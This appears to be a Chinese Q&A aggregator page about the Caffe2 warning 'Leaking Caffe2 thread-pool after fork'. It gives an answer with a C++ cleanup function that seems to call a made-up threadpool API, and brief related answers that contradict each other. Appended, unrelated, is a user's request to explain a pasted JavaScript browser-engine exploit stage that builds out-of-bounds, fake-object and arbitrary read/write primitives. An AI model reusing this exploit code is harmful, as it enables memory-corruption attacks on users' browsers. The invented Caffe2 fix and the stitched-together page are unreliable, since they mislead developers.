Leaking Caffe2 thread-pool after fork.

时间: 2023-09-19 08:11:07 浏览: 105
这个错误通常是由于在主进程中创建了Caffe2线程池,但在子进程中没有正确地清理它所引起的。这可能会导致子进程中的线程池泄漏,从而导致性能下降或其他问题。 要解决此问题,您可以在fork之后立即清理Caffe2线程池,以确保子进程没有任何遗留的线程池。您可以使用以下代码片段来清理线程池: ```c++ #include <caffe2/utils/threadpool/pthreadpool-cpp.h> void cleanup_threadpool() { caffe2::pthreadpool* pool = caffe2::pthreadpool(); if (pool != nullptr) { pool->finish(); } } ``` 在您的fork调用后,立即调用此函数以清理Caffe2线程池。这应该解决您遇到的问题。
相关问题

warning: leaking caffe2 thread-pool after fork. (function pthreadpool)

警告:在fork之后泄漏了Caffe2线程池(pthreadpool)。 这个警告意味着在使用Caffe2库时,在fork(创建子进程)之后,可能会出现线程池泄漏的问题。这可能会导致内存泄漏和其他问题。建议在使用Caffe2库时,避免在fork之后使用线程池。

Warning: Leaking Caffe2 thread-pool after fork

这个警告通常是由使用多进程的代码中 Caffe2 库中的线程池引起的。在 fork() 调用后,子进程将继承父进程中的所有线程,而 Caffe2 的线程池可能不会正确地处理多个进程之间的线程共享。建议在使用 fork() 之前,先调用 Caffe2 库的清理函数,确保所有线程都已终止。您也可以使用 Caffe2 的 Python 接口,它提供了更好的线程处理和多进程支持。

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var slave = new Uint32Array(0x1000); slave[0] = 0x13371337; // First, leak the address of an array we'll use later for leaking arbitrary JSValues //debug("[*] Leaking address of array for leak primitive..."); var leakTgt = {a: 0, b: 0, c: 0, d: 0}; leakTgt.a = slave; primitiveSpray[leakAndFakePrimIdx][1] = leakTgt; var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var leakTargetAddrInt64 = d2u(leakTargetAddr); // Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties //debug("[*] Leaking address of fake ArrayBufferView for R/W primitive..."); // Spray arrays for structure id for (var i = 0; i < 0x100; i++) { var a = new Uint32Array(1); a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337; structs.push(a); } var rwTgt = {a: 0, b: 0, c: 0, d: 0}; rwTgt.a = u2d(0x00000200, 0x1602300); rwTgt.b = 0; rwTgt.c = slave; rwTgt.d = 0x1337; primitiveSpray[leakAndFakePrimIdx][1] = rwTgt; var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var rwTargetAddrInt64 = d2u(rwTargetAddr); //debug("| [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16)); // Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10); // Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi); var master = primitiveSpray[leakAndFakePrimIdx][1]; var addrOfSlave = new int64(master[4], master[5]); //debug("[*] Setting up primitive functions...");请解释以上代码?

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